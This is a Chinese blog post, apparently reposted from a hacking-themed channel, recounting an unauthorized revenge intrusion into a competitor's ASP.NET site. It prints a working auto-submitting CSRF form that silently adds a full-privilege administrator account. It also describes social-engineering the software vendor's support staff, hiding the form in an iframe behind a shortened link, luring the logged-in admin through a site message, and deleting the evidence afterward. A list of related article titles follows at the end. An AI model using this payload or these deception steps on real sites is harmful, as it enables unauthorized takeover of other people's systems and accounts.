更多渗透技能  欢迎搜索公众号:白帽子左一

看到了篇贼6的文章、原作者:jasonx

转载自:http://aakw.net/2g7ry

前言:

我朋友说和对方谈过几次,但是对方态度嚣张,让他有本事去就去告…

那么闲来无事,咱们不如来一发?

0x01 信息收集

先随便浏览一些页面,发现网站是aspx的,然后扫描了下,windows服务器,iis搭建。

通过指纹识别没查到相关cms,然后开始看JS和css等文件,没发现什么有价值的信息。

然后我发现在他的网站底部,有个【技术支持】,点击后跳转到一家软件公司。

0x02 套路 满满的套路

进入软件公司网站后,在首页底部找到客服的QQ号,我添加上了以后开始要演示地址。

一般演示地址都会给后台地址的,我目的就是看后台有没有漏洞。

本来以为后台是admin的,试了下没进去,然后咱们继续套路客服。

得到后台以后开始找上传点尝试截断上传,最终尝试失败。

翻了下其他的功能也没啥用,不过我发现在后台的管理员添加这里,貌似存在CSRF。

那么咱们就来测试一下看看。

点击添加管理员

进入后我们输入用户名:haha 密码:123456 邮件地址随便输入一个。

然后开启浏览器代理,打开burp对数据包进行拦截,然后点添加按钮。

我们就抓到了一个添加管理员的POST请求。

通过分析发现没有token验证。

然后我们点击右键,选择Engagement tools > Generate CSRF poc

点击以后会进入这里,我们copy html代码到本地,新建一个html文件,把代码复制进去。

然后把这个html文件上传到自己的网站空间(本地打开测试也是可以的)

通过浏览器打开这个html文件的URL,点击按钮以后,发现跳转到了后台的首页

然后重新进入管理员列表发现已经多了一个haha的管理员账号,拥有全部权限。

0x03 空降一个管理员账号

现在咱们就去套路这个盗用别人劳动成果的无耻之徒吧。

不过在这之前,我们先改进一下这个html文件,要不然一个大大的按钮容易让人起疑心,而且我们要让数据自动提交,而不是要诱骗他去点击这个按钮。

改进后的代码如下:

<html><head>
<script>function sub(){document.form1.submit();
}
setTimeout(sub,1);
</script>
</head><body><form name="form1" action="http://www.xxxx.com/admin/store/AddManager.aspx" method="POST"><input type="hidden" name="__VIEWSTATE" value="/wEPDwUKMTg4Mjk2---强行打码---wMEZ2dnZxYBZmRk" /><input type="hidden" name="ctl00$contentHolder$txtUserName" value="hack" /><input type="hidden" name="ctl00$contentHolder$txtPassword" value="123456" /><input type="hidden" name="ctl00$contentHolder$txtPasswordagain" value="123456" /><input type="hidden" name="ctl00$contentHolder$txtEmail" value="656566568@qq.com" /><input type="hidden" name="ctl00$contentHolder$dropRole" value="3c40faeb-马赛克-ad3c-5fb1afd018b6" /><input type="hidden" name="ctl00$contentHolder$btnCreate" value="æ·» åŠ " /><input type="submit" value="Submit request" style="display:none" /></form></body>
</html>

这里感谢45楼的表哥提醒,用以下方法可以实现隐藏跳转。

准备两个页面 ,一个放csrf的代码 1.html,另一个页面2.html 用iframe包含住1.html

然后把2.html生成url短链接,发给对方即可。 现在我们把这个改进好的html文件上传到网站空间,然后重新访问一遍测试是否可用。

测试完成以后把这个url放到http://www.alifeifei.net/缩短。

点击生成以后,得到一个缩短的地址,目的就是为了好欺骗网站管理员。

访问这个缩短的地址会自动跳转到我们的html文件。

现在登录这个抄袭者的网站前台,然后给管理员发送一个我们缩短的那个链接。

这里是个野路子,为什么我不通过QQ直接发地址过去(原因是如果对方在打开你链接的时候没有登录后台,就不会触发CSRF)

所以,我们选择在网站上给他留言,如果管理员看到这个留言,那么他肯定是在后台并且登录了的,所以只要他打开这个地址就会中招。

等了一会儿我尝试用我们构造好的hack账号登陆,还是没登陆上。

0x04 等不及了 继续套路

现在回到这个盗图者的网站,在网站上找到他的QQ,然后添加。

现在登录后台看看,账号:hack 密码:123456 成功进入

借用盗图狗的手打了他自己一耳刮子( • ̀ω•́ )✧

然后把这个账号密码发给我朋友,剩下的看他怎么弄啦….

0x05 你懂的

拉黑 删除自己网站空间的html文件。

渗透测试|CSRF拿下盗图狗后台相关推荐

  1. “借刀杀人”之CSRF拿下盗图狗后台

    最近我一个做贸易的朋友找到我,他发现自己拍摄的图片又被某个同行盗用了,而且是全站的图片基本都被盗用. 之前对方是引用他的图片链接,后面我给他做了防盗链解决了,现在对方是先下载图片,然后自己上传到服务器 ...

  2. 渗透测试 ( 1 ) --- 相关术语、必备 工具、导航、全流程总结、入侵网站思路

    From:https://zhuanlan.zhihu.com/p/401413938 渗透测试实战教学:https://www.zhihu.com/column/c_1334810805263515 ...

  3. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

  4. 一次渗透测试引发Json格式下的CSRF攻击

    0x00 前言 漏洞背景 hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试.公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了. test ...

  5. 渗透测试 学习笔记 思维导图

    资源简介 此资源为本人自学渗透测试过程中做的一些笔记,为思维导图模式,用XMind ZEN 可打开,主要涉及到渗透测试的基本步骤,所用到的工具和渗透方法,ruby语言的简单学习,近源渗透测试的详细学习 ...

  6. 谈谈对后台登陆页面的渗透测试

    前言 有些朋友在渗透时扫描到后台登陆界面,却不知道如何入手.最近刚好在某公司做安全顾问,对目标固定的系统渗透有些体会.因此这里讲一下对网站后台登陆界面的渗透思路,希望能为大家提供一些帮助. 开始 本人 ...

  7. 渗透测试|shopXO后台全版本获取Shell复现

    shopxo是一款开源的企业级商城系统,基于thinkphp5框架开发.这几天做了"[GKCTF2020]老八小超市儿"这道题,学到了后台获取shell的一个技巧,所以在这里复现一 ...

  8. web渗透测试学习路径图

    Web渗透测试学习路线 一.基础知识 1.1 网络协议 <图解http> 1.2 编程语言 python 30 days for python go 1.3 Linux/Bash Over ...

  9. 安服/渗透测试面试问题总结

    文章目录 HR面 问题 对我们公司有什么了解,为什么选择本公司 为什么想要应聘这个职位 对安全服务是怎么理解的 如果我不知道渗透测试,两分钟说一下 如果我是一个汽车厂商,你如何证明你的工作是有意义的? ...

最新文章

  1. 哈希表(HashMap)分析及实现(JAVA)
  2. seaborn系列 (15) | 双变量关系图jointplot()
  3. Maven无法上传到到私服
  4. 设计模式在Netty中的应用-工厂模式源码举例
  5. 数据挖掘学习日志(part2)--主成分法确定权重与R实现
  6. 【技术累积】【点】【java】【29】MapUtils
  7. python 单例模式的四种实现方法
  8. MySQL学习【第五篇SQL语句上】
  9. 「经营分析报告」怎么做?这套模板让领导一看就懂
  10. Ubuntu 11.04 beta 2发布!
  11. 韩国专家深度剖析DT时代的精髓
  12. clr20r3 程序终止的几种解决方案_IT外包桌面解决方案——不慌,蓝屏而已
  13. 【校内模拟】2048
  14. 测试网速的c语言代码,如何用C语言编个测网速的小工具
  15. 【HTML/JS】百度地图javascriptAPI点击地图得到坐标(拾取坐标) 标签: 百度地图坐标
  16. 牛客网经典120道Java面试常见题(试题+答案)
  17. bps和pps各自是什么意思?
  18. Django项目骨架与常见配置修改
  19. linux u识别,基于uCLinux的纸币识别器底层系统研究和实现
  20. iOS 添加在scrollview的子控件,用masonry布局的问题

热门文章

  1. linux安装mysql8
  2. java音乐不能播放_java的音乐播放器不能播放?
  3. iOS VR AR MR 简介
  4. spring事务超时
  5. 黄聪:相关词句采集与分析研究
  6. 苹果手机微信扫码下载pdf文件,出现空白页。
  7. java xmx xms xmn_JVM调优总结 -Xms -Xmx -Xmn -Xss
  8. apple watch series 7和8的区别 苹果watch series 8和7的区别
  9. 抢厕纸也能抢到这么感人?
  10. 韩语计算机级词汇表,韩语考试TOPIK单词整理中级(十)